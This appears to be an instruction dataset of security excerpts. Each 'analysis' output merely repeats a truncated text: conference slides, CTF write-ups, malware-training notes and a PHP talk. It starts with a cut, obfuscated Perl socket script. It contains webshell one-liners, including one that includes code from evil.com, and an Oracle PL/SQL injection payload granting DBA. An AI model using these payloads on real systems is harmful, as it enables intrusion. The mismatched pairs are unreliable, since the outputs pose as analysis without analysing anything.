#!/usr/bin/perl use strict;use warnings;use IO::Socket;use IPC::Open2;my$l;sub G{die if!defined syswrite$l,$_[0]}sub J{my($U, $A)=('','');while($_[0]>length$U){die if! sysread$l,$A,$_[0]-length$U;$U.=$A;}return$U;} sub O{unpack'V',J 4}sub N{J O}sub H{my$U=N; $U=~s/\\/\//g;$U}sub I{my$U=ev


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Rob Havelt - Director of Penetration Testing, Trustwave SpiderLabs Wendel G. Henrique  Security Consultant, Trustwave SpiderLabs Copyright Trustwave 2010 Confidential BIO SpiderLabs:~ Trustwave$ whois RHavelt  Director of Penetration Testing at Trustwaves SpiderLabs.  Over 18 years in the security industry.  He has worked with offensive security seemingly forever, and from running a start-up ISP, to working as a TSCM specialist, he's held just about every job possible in the realm of system administration and information security.  Formerly a bourbon-fueled absurdist, raconteur, and man about town, currently a sardonic workaholic occasionally seeking meaning in the finer things in life  Rob is, and will always be, a career hacker.  Given Talks at Toorcon, Black Hat, Thotcon, BSides. Copyright Trustwave 2010 Confidential BIO SpiderLabs:~ Trustwave$ whois WendelGH  Security consultant (Penetration Test Team) at Trustwaves SpiderLabs.  Over 9 years in the security industry.  Co-authored patent-pending penetration testing technology.  Spoke in Black Hat Arsenal 2010 (USA), OWASP AppSec Research 2010 (Sweden) and Black Hat Europe 2010 (Spain). Previously, Wendel spoke in Troopers 09 (Germany), OWASP AppSecEU09 (Poland), YSTS 3.0 (Brazil), and has spoken in well known security conferences such as DEFCON 16 (USA) and H2HC (Brazil).  Discovered vulnerabilities across a diverse set of technologies including webmail systems, wireless access points, remote access systems, web application firewalls, IP cameras, and IP telephony applications. Copyright Trustwave 2010 Confidential First Thing First  Up here there is a Server. Its connected to a WiFi Network. In Fact there are 2 WiFi networks in here.  We will be logging into this server as root at least every 5 min during this talk. Possibly more frequently.  Whomever can give us the root password for this server before the end of this talk gets one of these spiffy T-Shirts.  There are two ways we know should work to accomplish t


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

RESTing On Your Laurels Will Get You Pwned By Abraham Kang, Dinis Cruz, and Alvaro Muñoz Goals and Main Point  Originally a 2 hour presentation so we will only be focusing on identifying remote code execution and data exfiltration vulnerabilities through REST APIs.  Remember that a REST API is nothing more than a web application which follows a structured set of rules.  So all of the previous application vulnerabilities still apply: SQL Injection, XSS, Direct Object Reference, Command Injection, etc.  If you have both publically exposed and internal REST APIs then you probably have some remote code execution and data exfiltration issues. Causes of REST Vulnerabilities  Location in the trusted network of your data center  History of REST Implementations  Self describing nature  Input types and interfaces  URLs to backend REST APIs are built with concatenation instead of URIBuilder (Prepared URI)  Inbred Architecture  Extensions in REST frameworks that enhance development of REST functionality  Reliance on incorrectly implemented protocols (SAML, XML Signature, XML Encryption, etc.)  Incorrect assumptions of application behavior Application Architecture Background FW Internet BH2 FW AS2 SAP FW Internet BH5 FW AS5  FW Internet BH4 FW AS4 ERP FW BH1 FW AS1 Oracle FW Internet BH3 FW AS3 MS SQL Internet Mongo Couch Neo4j Cassan LDAP/ AD HBase EAI EII ESB Http Protocol (proprietary protocols are different colors)  Internal Network of a Data Center What are the characteristics of an Internal Network (BlueNet, GreenNet, Trusted Network)? AS2 SAP AS5  AS4 ERP AS1 Oracle AS3 MS SQL Mongo Couch Neo4j Cassan LDAP/ AD HBase EAI EII ESB  Internal Network of a Data Center What are the characteristics of an Internal Network (BlueNet, GreenNet, Trusted Network)?  Connectivity Freedom (within the trusted network)  Increased Physical Safe guards  Hardened Systems at the OS level  Shared Services and Infrastructure AS2 SAP AS5  AS4 ERP AS1 Oracle AS3 MS SQL Mongo Couch Neo4j Cassan LDAP


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## Dam (Crypto, 277p) ###ENG [PL](#pl-version) In the task we get access to a service providing some form of encryption. The server challenges us for a PoW before we can interact, so first we had to solve the PoW, but it was the same as for some others tasks (prefix for string giving some hash value). After beating the PoW we could query the server for encryption code, key generation code, encrypted flag with current session key, current public session key and we could also encrypt something. The encryption code is: ```python def encrypt(msg, pubkey): n, g, u = pubkey u += 1 r = getRandomRange(1, n ** u - 1) enc = pow(g, msg, n ** u) * pow(r, n ** u, n ** u) % n ** u return enc ``` It looked very much like Paillier Cryptosystem so a little googling told us that this is actually a generalized version known as DamgårdJurik Cryptosystem: https://en.wikipedia.org/wiki/DamgårdJurik_cryptosystem It looks almost as the textbook implementation so we didn't expect vulnerability here. The key generation scheme was: ```python def get_keypair(kbit, u): l = getRandomRange(kbit >> 4, kbit) p = long(gmpy.next_prime(2 << l)) q = long(getPrime(kbit - l - 1)) n = p * q d = (p - 1) * (q - 1) / GCD(p - 1, q - 1) r = getRandomRange(1, n - 1) while True: t = getRandomRange(1, n - 1) if GCD(t, n) == 1: break g = pow(n + 1, t, n ** (u + 1)) * r % n ** (u + 1) pubkey = (n, g, u) privkey = (n, d) return pubkey, privkey ``` At first glance it also looked fine, but after a while we noticed an interesting issue. The estimated `kbit` value, judging by some public keys we got, was just 512 bits. This means that `kbit >> 4` is actually `32`! So the range for the first prime is between 32 and 512 bits, and for the second prime between 0 and 479 bits! This doesn't sound very safe, when the primes are not similar in size. Since for every connection we get a new key, we can expect that at some point we will get a key with reasonably small factor. For this we wrote a script to grab some public keys and


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

THE KEY RECOVERY ATTACKS AGAINST COMMERCIAL WHITE BOX CRYPTOGRAPHY IMPLEMENTATIONS SANGHWAN AHN(H2SPICE), LINE CORPORATION AGENDA  Introduction  WHITE-BOX CRYPTOGRAPHY  White-box Cryptanalysis  Conclusion INTRODUCTION CRYPTO SYSTEM IN THE SOFTWARE 0 1 0 1 1 1 1 0 1 0 1 1 0 1 0 1 WHITE-BOX THREAT MODEL  Binary is completely visible to an attacker  Attacker has full access to the cryptography algorithm  Attacker has full control over its execution environment  Unlimited amount of queries  Trusted execution environment(TEE)  ARM Trustzone, Intel SGX, AMD Memory Encryption  Its almost safe, but not many supported devices (mostly latest devices)  White-box cryptography(WBC)  All academic WBC solutions have been broken  No attack has been observed to date on commercial WBC SECURE ELEMENT WHITE-BOX CRYPTOGRAPHY SubBytes Key WBC ShiftRows MixColumns AddRoundKey PlainText CipherText CipherText PlainText WHITE-BOX AES IMPLEMENTATION Sbox ( x  key ) Key Input x Tbox KEY PARTIAL EVALUATION unsigned int Tboxes[9][16][256] = { /*First Round, K[0] is 0x6c*/ { 0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b, 0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe, 0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511, 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed, 0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf, 0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142, 0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1, 0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05, 0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413, 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d, 0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b, 0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34, 0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85, 0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972, 0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6, 0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1, 0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a, 0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9, 0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83, 0xc2b7b775, 0x1cfdfde1, 0xa


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Personal Survival Preparedness Copyright 2009 Steve Dunker Las Vegas Survival Scenario  Aug 1st 2009 -- 2 Million People  Dec 1st 2009  100,000 people  Can you Survive? Basic Survival Needs Air Water Food Enviroment Detailed Basic Needs  The physiological needs include the needs we have for oxygen, water, protein, salt, sugar, calcium, and other minerals and vitamins. They also include the need to maintain a pH balance (getting too acidic or base will kill you) and the need for a body temperature 98.6 (or near to it). Also, theres the needs to be active, to rest, to sleep, and the need to get rid of wastes (CO2, sweat, urine, and feces). Water  Daily Need  Contamination concerns  Unconventional sources Food  Sources  Contamination  Unconventional sources Minerals and Vitamins  Salt  Vitamins Survival SnapShot What do you have on you (or close by) that will help you survive? The Disaster Environment  Working together 1-4 hours  +4 hours chaos starts Firearms From the Net  Disclaimer: Check your Local and State Laws  Disclaimer: Crime and Guns = Hard time  Most States allow firearm purchases from the Internet  Federal Law requires Federal Firearms License unless it is an Antique gun. (Pre-1899) C&R License  BATF issues Federal Firearm Licenses  C&R = Curio and Relic  BATF Type 3 License  Licensed collector of Curio & Relic (C&R) firearms  $30 for 3 years  4 page application & Fingerprints C&R Guns  Firearms which were manufactured more than 50 years prior to the current date, but not including replicas thereof;  Firearms which are certified by the curator of a municipal, State, or Federal museum which exhibits firearms to be curios or relics of museum interest; and  Any other firearms which derive a substantial part of their monetary value from the fact that they are novel, rare, bizarre, or because of their association with some historical figure, period, or event. . C & R Examples  World War Two Weapons - M1 Garand - K98 Mauser  Some cold war weapons - Some SKS - Wa


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

WHITE PAPER  2015 IOActive, Inc. All Rights Reserved Abusing XSLT for Practical Attacks White Paper Fernando Arnaboldi IOActive Senior Security Consultant Abstract Over the years, XML has been a rich target for attackers due to flaws in its design as well as implementations. It is a tempting target because it is used by other programming languages to interconnect applications and is supported by web browsers. In this talk, I will demonstrate how to use XSLT to produce documents that are vulnerable to new exploits. XSLT can be leveraged to affect the integrity of arithmetic operations, lead to code logic failure, or cause random values to use the same initialization vector. Error disclosure has always provided valuable information, but thanks to XSLT, it is possible to partially read system files that could disclose service or system passwords. Finally, XSLT can be used to compromise end-user confidentiality by abusing the same-origin policy concept present in web browsers. This document includes proof-of-concept attacks demonstrating XSLT potential to affect production systems, along with recommendations for safe development.  2015 IOActive, Inc. All Rights Reserved. [2] Contents Abstract ......................................................................................................................... 1 Introduction ................................................................................................................... 3 Processors ............................................................................................................................. 3 Gathering information about your target ................................................................................. 4 Obtaining the current path ...................................................................................................... 6 Loss of Precision with Large Integers ........................................................................... 8 Loss of Precision with Rea


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# mus1c General Skills, 300 points ## Description: > I wrote you a song. Put it in the picoCTF{} flag format ``` Pico's a CTFFFFFFF my mind is waitin It's waitin Put my mind of Pico into This my flag is not found put This into my flag put my flag into Pico shout Pico shout Pico shout Pico My song's something put Pico into This Knock This down, down, down put This into CTF shout CTF my lyric is nothing Put This without my song into my lyric Knock my lyric down, down, down shout my lyric Put my lyric into This Put my song with This into my lyric Knock my lyric down shout my lyric Build my lyric up, up ,up shout my lyric shout Pico shout It Pico CTF is fun security is important Fun is fun Put security with fun into Pico CTF Build Fun up shout fun times Pico CTF put fun times Pico CTF into my song build it up shout it shout it build it up, up shout it shout Pico ``` ## Solution: This song has the very slight scent of a programming language, and indeed, searching for ["shout" "put" programming language](https://www.google.com/search?q=%22shout%22+%22put%22+programming+language) brings us to a language called [Rockstar](https://codewithrockstar.com/). > Rockstar is a computer programming language designed for creating programs that are also hair metal power ballads. Pasting the program into the [online interpreter](https://codewithrockstar.com/online), we get the following output: ``` 114 114 114 111 99 107 110 114 110 48 49 49 51 114 ``` This looks like ASCII, let's decode it: ```python >>> ascii = """114 ... 114 ... 114 ... 111 ... 99 ... 107 ... 110 ... 114 ... 110 ... 48 ... 49 ... 49 ... 51 ... 114 ... """ >>> for c in ascii.split(): ... print(chr(int(c)), end='') ... rrrocknrn0113r >>> ``` So the flag is `picoCTF{rrrocknrn0113r}`.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# re5 (re, 100pts) ``` michal@DESKTOP-U3SJ9VI:/mnt/c/Users/nazyw/Downloads$ file reverse.exe reverse.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows ``` A .Net executable, should be fun! Let's use ILSpy: ![decompilation](decompilation.png) The decompilation is pretty clear: Our input is firstly encrypted using the `Enc` function: ```c++ string text = tb_key.Text; string a = Enc(text, 9157, 41117); ``` If the output matches the hardcoded string, we win: ```c++ if (a == "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAljLGQ=") { MessageBox.Show("Correct!! You found FLAG"); } else { MessageBox.Show("Try again!"); } ``` ```c++ public static string Enc(string s, int e, int n) { int[] array = new int[s.Length]; for (int i = 0; i < s.Length; i++) { array[i] = s[i]; } int[] array2 = new int[array.Length]; for (int i = 0; i < array.Length; i++) { array2[i] = mod(array[i], e, n); } string text = ""; for (int i = 0; i < array.Length; i++) { text += (char)array2[i]; } return Convert.ToBase64String(Encoding.Unicode.GetBytes(text)); } public static int mod(int m, int e, int n) { int[] array = new int[100]; int num = 0; do { array[num] = e % 2; num++; e /= 2; } while (e != 0); int num2 = 1; for (int num3 = num - 1; num3 >= 0; num3--) { num2 = num2 * num2 % n; if (array[num3] == 1) { num2 = num2 * m % n; } } return num2; } ``` The `Enc` function iterates over every letter and performs the following operation on it: `array2[i] = mod(array[i], e, n);` Since `mod` is just modular exponentiation, the encryption boils down to encrypting each letter using rsa with e=`9157` and n=`41117` we can just decrypt it using the calculated private key: ```python from base64 import b64decode def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x %


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Advanced Mobile Devices Analysis Using JTAG and Chip-off Forensics Ninja Who am I  Captain a.k.a Forensics Ninja  Research since 2010  Facebook Forensics (2011) on Hakin9 Magazine  Mac Memory Forensics (2014) on Digital Forensics Magazine  Investigation and Intelligence Framework (2015) on Forensics Focus  Advanced Mobile Devices Analysis Using JTAG and Chip-Off (2016) Speaker@  SANS DFIR  DefCON 20  HITCON  AVTokyo  APWG  HTCIA  VXCON Agenda  Introduction to JTAG and Chip Off  Analysis on JTAG and eMMC dump  Demo Training Course  TeelTech Advanced JTAG / Chip-Off Mobile Forensics  Cellebrite JTAG Extraction and Decoding  H11 JTAG Data Recovery and Mobile Phone Repair  XRY Advanced Acquisition Training  viaforensics (NowSecure) until 2012  Course Fee around USD4,000 Why JTAG / Chip-Off?  Physical vs Logical vs Forensics tools  Bricked  Locked without debugging mode  Damaged  Special cases What is JTAG?  Joint Test Action Group  Test Access Ports (TAPs) to collect raw data from a memory chips  Not chip-off and ISP  Extreme physical data acquisition  Advanced technique  Soldering and De-soldering Price lists  Source from NowSecure  US dollars  JTAG Box JTAG Finder Mounting Frame & Arms BGA (eg 162 or 169)   Ball Grid Array TAP  TCK  test clock  TMS  test mode state  TDI  test data in  TDO  test data out  TRST  test reset  NRST  normal reset  RTCK  return clock  GND  ground  JTAG Pinout JTAG Molex and Jig Demonstration using Riff Box  HTC EVO 3G  Android OS Demonstation using Riff Box  Lumia 620  Windows 8 OS Acquisition of the Flash Rom Retrieved Data from phone Decoding the Lock Pattern  gesture.key  20 bytes in length  open source tools Gesture.key What is Chip-Off?  eMMC chip  NAND Flash  Disassemble & Re-balling  Heating Machine / Stand eMMC Programmer & Adapters eMMC Box EPR Box & BGA 169e adaptor Demonstration Belkasoft Evidence Center UFED Physical Analyzer HITCON Training (Wish)  November 2016  One Day (6 hours) Question? forensicsninja@gmail.com


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Making Games Cerebral Ne0nRa1n Julian Spillane, CEO, Frozen North Productions, Inc. Breakdown Who are these brain people? Brain 101 Video Game Myths History of Game Peripherals Industry Current Trends (The Good and The Bad) Our Proposal... Demonstration Who are these brain people? Ne0nRa1n UnderEducated UnderQualified Visionary dancing monkey extraordinaire Julian Spillane CEO, Frozen North Productions, Inc. Chair, Toronto Independent Games Conference Obsessed with strange and innovative peripherals and interfacing them with games... Or, The Stuff Youve Forgotten from Psych Class What is the brain? 1 second summary: Organic Cellular Goodness http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human-brain.html What, exactly, does it do? 1 second summary: Encoding, Storage, Retrieval http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human-brain.html How do memories work? 1 second summary: Neurons That Fire Together, Wire Together http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human-brain.html How do we think? 1 second summary: PatternMatching Puzzle Pieces http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human- brain html What About Dreams? 1 second summary: Ill Tell You What They Are, But Dont Ask Me Why We Have Them http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human-brain.html What about consciousness? 1 second summary: The Questionable Question http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human- brain html How is my Brain Different From a Monkey? 1 second summary: Bigger and Better http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human-brain.html Why Do Drugs Feel So Good? 1 second summary: The Doppelgangers of Desire http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human- brain html How Does This Relate To Games? 1 second summary: Repetition of Task = Mastery of Task Or, Jack Thompsons Wet Dream Myth


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# phpinfo --- **相关文章** - [phpinfo 可以告诉我们什么](http://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/) - [PHPINFO 中的重要信息](https://www.k0rz3n.com/2019/02/12/PHPINFO%20%E4%B8%AD%E7%9A%84%E9%87%8D%E8%A6%81%E4%BF%A1%E6%81%AF/) - [amazing phpinfo() ](https://skysec.top/2018/04/04/amazing-phpinfo/) - [phpinfo 中值得注意的信息](https://seaii-blog.com/index.php/2017/10/25/73.html) - [php中函数禁用绕过的原理与利用](https://mp.weixin.qq.com/s/_L379eq0kufu3CCHN1DdkA) **相关工具** - [proudwind/phpinfo_scanner](https://github.com/proudwind/phpinfo_scanner) - 抓取 phpinfo 重要信息 - 我这里运行报错,解决方法是把15行的3个 nth-child 改为 nth-of-type --- ## 版本号 最直观的就是php版本号虽然版本号有时候会在响应头中出现 找相应版本存在的漏洞 --- ## DOCUMENT_ROOT 取得网站当前路径 --- ## disable_functions disable_functions 顾名思义函数禁用 如一些ctf题会把disable设置的极其恶心这里要使用一些 bypass 的技巧 --- ## open_basedir 该配置限制了当前 php 程序所能访问到的路径 --- ## opcache 如果使用了opcache那么可能达成getshell但需要存在文件上传的点 - https://www.cnblogs.com/xhds/p/13239331.html --- ## allow_url_include 文件包含相关 --- ## allow_url_fopen 文件包含相关 --- ## short_open_tag 短标签 --- ## Server API 是否可用 PHP-FPM 绕过 disable_function


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Module 1 A journey from high level languages, through assembly, to the running process https://github.com/hasherezade/malware_training_vol1 Running executables: process Process: basics Process  When we run an EXE file, the system creates a Process Process  A process is a container for all the resources that the application needs to run  A process by itself doesnt run code: threads execute it  Each process has its own, private address space, that is independent from other processes (different processes may have different memory content at the same addreses)  Has its own access token, defining its security context Process  Types of processes on Windows:  System process  Subsystem process  Service  User processes (our applications) Processes on Windows From: Windows Kernel Programming by Pavel Yosifovich Process  A process is identified by its PID (Process ID)  unique throughout the system at the time of running  after the process terminates, its PID may be reused by a new process  Each process has one or more threads. They are identified by Thread IDs.  Thread IDs, same as process IDs, are unique throughout the system  After the thread terminates, its ID may be reused  Processes may access each other (via handles), if their security context allows it HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId // <- The Process ID ); Process  Process contains:  Mapped PE images (the main EXE + dependencies: DLLs with needed imports)  The workingset (all the memory that is used during its execution)  Threads: at least one (structures for execution of the code)  Open Handles (managing access to needed objects: i.e. Files, Mutexes, Events)  Access Tokens (representing security information, and specifying privileges of the process and threads) Process  Contains PE files in a virtual format MyApp.exe MyApp.exe NTDLL.DLL Kernel32.DLL Process Executable file PE on the disk: Raw format PE in memory: Virtual format <allocated memory> <allocated memory> Pro


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Attack the Key Own the Lock by datagram & Schuyler Towne Defcon 18 (2010) Las Vegas, NV About Us  Datagram  Forensic locksmith  Douchebag  No game shows :(  Schuyler  TOOOL US  NDE Magazine  Wheel of Fortune How Locks Work How Locks Work How Locks Work How Locks Work Key Control  Availability of blanks  Distribution  Duplication/simulation Attacking the Key  Bitting depths/code  Keyway  Model of the lock  Additional security features Physical Access to Keys  Holy Grail  Duration = Attack Quality  Wrist Impressioning Direct Measurement  Key gauges  Micrometer  Calipers Copy Impressioning Copy Impressioning Visual Access to Key  Sight reading  Estimation  Photography Visual Access  UCSD Visual Access - Diebold Visual Access  NY MTA Key Blanks  Impressioning  Overlifting  Reflecting keys  Sectional keyways  Rake keys  Key bumping Universal Handcuff Keys Overlifting Overlifting Rake/Gypsy Keys Impressioning Impressioning Works Forever! Reflecting Keys Sectional Keyways Sectional Keyways Incorrect Key  Master key decoding  Bumping  Skeleton keys  Sidebar attacks  Passive component bypasses  Decoding attacks Master Key Systems Master Key Systems Master Key Systems Master Key Systems Master Key Systems Key Bumping  Basic physics  Specialized key  Easy, effective  Vendor response Pick Gun Mechanics How Bumping Works Creating Bump Keys  Any key that fits  Cut 999 key (deepest pin depths)  Use key gauges  Cut with  Hand file, dremel, key cutter Bump Keys Key Bumping Key Bumping 100% Efficiency...? Don't underestimate attackers... Bumping Hammers Side Pins Side Pins Side Pins Side Pins Side Pins Regional Sidebar Attacks  ASSA Twin Combi  Schlage Primus  Fichet 480  The list goes on...  Schlage is doing it wrong. One Last Way Schlage Is Doing It Wrong: LFIC  BEST SFIC  Small Format Interchangable Core  Schlage LFIC  6.5 Control Key Passive Components What have we learned? Resources  openlocksport.com  lockwiki.com  lockpickingforensics.com  ndemag.com Meet us at Q&A!


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Making Of Second SQL Injection Worm (Oracle Edition) Sumit Siddharth SID@notsosecure.com www.notsosecure.com Defcon 17 Las Vegas 2009 2 Defcon 17, Las Vegas, July 2009 About Me: Senior IT Security Consultant More than 4 years of Penetration Testing Not an Oracle Geek :( My Blog: www.notsosecure.com 10 slides + 2 Demos= 20 Mins !! 3 Defcon 17, Las Vegas, July 2009 Agenda How to exploit SQL Injections in web applications with oracle back-end to achieve the following: Escalate privileges from the session user to that of SYS (Similar to openrowset hacks in MS SQL) Execute OS Commands and achieve file system read/write access (Like xp_cmdshell in MS SQL) Can worms target Oracle web apps? (Just as they did against MS SQL) 4 Defcon 17, Las Vegas, July 2009 Oracle: How Things Work By default Oracle comes with a lot of stored procedures and functions. Mostly these functions and stored procedures run with definer privileges (default). In order to make the function execute with the privileges of the user executing it, the function must have 'authid current_user' keyword. If you find a SQL (PL/SQL) injection in a function owned by SYS and with 'authid definer', you can run SQL (PL/SQL) as SYS. 5 Defcon 17, Las Vegas, July 2009 SQL Injection in Oracle:  PL/SQL Injection  Injection in Anonymous PL/SQL block  No Restriction  Execute DDL, DML  Easy  SQL Injection  Injection in Single SQL Statement  Restrictions  No ';' allowed  Need more vulnerabilities  Difficult 6 Defcon 17, Las Vegas, July 2009 PL/SQL Injection  Injection in Anonymous PL/SQL block create or replace procedure orasso.test (q IN varchar2) AS BEGIN execute immediate ('begin '||q||'; end;'); END; * Attack has no limitation * Can Execute DML and DDL statements * Easy to exploit * Can Execute Multiple statements: * q=>null;execute immediate 'grant dba to public';end'-- 7 Defcon 17, Las Vegas, July 2009 PL/SQL Injection from Web Apps  Vulnerable Oracle Application server allows PL/SQL injection Bypass the PL/SQL exc


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

WEAPONIZING HYPERVISORS TO FIGHT & BEAT CAR & MEDICAL DEVICE ATTACKS Ali Islam  CEO Numen Inc Dan Regalado  DanuX  CTO Numen Inc AGENDA Basic&Concepts& Q&A& Embedded&Environment& Demo&&Attacks&&&Use&cases& Hypervisors & Strong Trending Confidential Agent-less vs Agent (AV)  Sophisticated Invisibility (VMI) - Cat and mouse game  No messing up the actual device functionality  Helps with regulations and certifications Lets start the Journey Setting up the Environment on a Zynq UltraScale+ MPSoC ZCU 102 Src: https://www.digikey.com/product-detail/en/xilinx-inc/EK-U1-ZCU102-G/122-2035-ND/7035245#images-1 SD Card UART JTAG Zynq UltraScale+ MPSoC ZCU 102 ETHERNET - DDR4  4 GB - Quad-core Cortex A-53 - Dual-core Cortex R5F Booting the board with JTAG  Using Xilinx System Debugger CLI (xsdb) which reads a tcl file PMUFW  Setup clock and platform management FSBL  First Stage Bootloader  Initializes U-Boot U-Boot  Boots the Hypervisor, Kernel and rootfs Bl31  ARM Trusted Firmware U-Boot Configuration  Preparing Device Tree Blob (DTB) xen.dtb file (dts below): ZynqMP> tftpb 0x1380000 xen.dtb ZynqMP> tftpb 0x80000 Image-2018.3 ZynqMP> tftpb 0x1400000 xen.ub ZynqMP> bootm 0x1400000 - 0x1380000 # mkimage -A arm64 -T kernel -a 0x1400000 -e 0x1400000 -C none -d xen-zcu102-zynqmp xen.ub  Preparing the hypervisor: Building the rootfs  PetaLinux: Xilinx-based and therefore not universal  Yocto: Universal but builds a Busybox limited rootfs ü Real pain to compile new libraries  Debootstrap: Way to go, Debian-based FileSystem J Dev environment  You do not want to make changes directly on the board  Schroot to the rescue ü Chroot into the rootfs but from a mounting point via QEMU Lets get the damn ARM Syscalls out! VMI & Semantic Gap Understand meaning using OS specific knowledge https://notes.shichao.io/lkd/ch3/ linux_name = 0x4f0; linux_tasks = 0x280; linux_mm = 0x2d0; linux_pid = 0x334; linux_pgd = 0x40; Kernel Symbol Value Example http://libvmi.com/docs/gcode-intro.html status_t vmi_r


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

安服崽日常做代码审计的时候经常需要把已经发布的 java 项目反编译 之前一直都是把所有 jar 和 class 打进一个 zip 包扔到 jd-gui然后在 save all resource这 种办法很蠢 直到 bearcat 师傅发给我一个消息我才发现原来批量反编译 java 代码是这么简单的一件 事只需要一个命令就可以了 Idea 自带的反编译项目地址https://github.com/fesh0r/fernflower 对我们安服崽来说还是不太方便稍微做了一些改动增加了筛选 class 的功能黑白名单 方式让脚本只反编译我们需要的 class仅仅只是 indexof 来做筛选 只需要在 fernflower 的 jar 包同级目录下扔一个{jar 包名}.black.txt 和{jar 包名}.white.txt 就 可以了 例如 jar 包命名为 shadiao.jar同级目录下就扔 shadiao.jar.black.txt 和 shadiao.jar.white.txt 如果只想反编译com/alibaba/xxx开头的class就在{jar包名}.white.txt里写一行com/alibaba/ 如果不想反编译 org/jetbrains/xxx 开头的 class 就在{jar 包名}.black.txt 里写一行 org/jetbrains/ 修改后的代码地址https://github.com/jiashaoxiong1998/fernflower 改动 1gradlew 项目改成 maven 项目使用 shade 插件打 jar 包 改动 2src/main/java/org/jetbrains/java/decompiler/struct/consts/ConstantPool.java 源码用 到了 jdk11 中 String.java 的 repeat 方法做了一下改动 其他改动全局搜//modify 就可以了


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PHPCHIP.COM PHP动态特性的捕捉与逃逸 Phith0n 2019 About Me phith0n  https://www.leavesongs.com  http://weibo.com/101yx  https://github.com/phith0n 长亭科技  https://github.com/chaitin/xray 精通  PHP  Python  Golang  Javascript 等语言Hello World程序的拼写 目录 CONTENTS PART 01 PHP与动态特性 01 PART 02 如何检测PHP动态特性 02 PART 03 从攻击者的角度突破限制 03  PHP与动态特性  常见PHP Webshell的类型  我们来做一个代码哲学家 PART 01 PHP与动态特性 PHP与Web应用 PHP是世界上最好的语言 PHP是Web应用最广泛的语言  灵活  发展迅速  逐渐废弃不安全的特性 其灵活的特性往往成为Webshell漏洞的导火索 常见PHP Webshell的类型  直接型  eval($_POST[2333]);  assert($_POST[2333]);  回调型  array_map('assert', $_POST);  usort($_POST[1], $_POST[2]);  包含型  include $_FILES['2333']['tmp_name'];  require 'http://evil.com/1.txt';  变形型  eval(gzdeflate(base64_decode('...')));  $_=[];$_++;$_++;...;$_($__);  命令型  `$_POST[2333]`;  system($_POST[2333]);  技巧型  create_function('', $_POST[2333]);  preg_replace('/.*/e', $_POST['n'], $_POST[2333]); 让我们从另一个角度理解PHP 一段固定的代码其功能究竟能否确定 preg_replace('/a/i', 'b', $_POST['name']); eval("\$ret = $arr;"); $arr = [$_GET, $_POST, $_COOKIE]; array_map($callback, ...$arr); include './inc/' . $filename; foreach (dir('./') as $f) { echo $f->read(); } echo "hello world"; 我们来做一个 代码哲学家 preg_replace('/a/i', 'b', $_POST['name']); eval("\$ret = $arr;"); $arr = [$_GET, $_POST, $_COOKIE]; array_map($callback, ...$arr); include './inc/' . $filename; foreach (dir('./') as $f) { echo $f->read(); } echo "hello world"; 我们来做一个 代码哲学家 这是一段不确定功能的代码 $arr = [$_GET, $_POST, $_COOKIE]; array_map($callback, ...$arr); 思考开发者的本意是什么 array_map('htmlspecialchars', ...$arr); 随着$callback的改变这段代码的功能可能变成什么 array_map('assert', ...$arr); 我们来做一个 代码哲学家 一段代码其中变量值的改变可能导致这 段代码发生功能上的变化我将这种现 象成为 PHP的动态特性  CHIP是什么  CHIP是如何工作的  回调后门如何检测 PART 02 如何检测PHP动态特性 CHIP  PHP动态特性检测实现 主页: https://phpchip.com 优势 1. 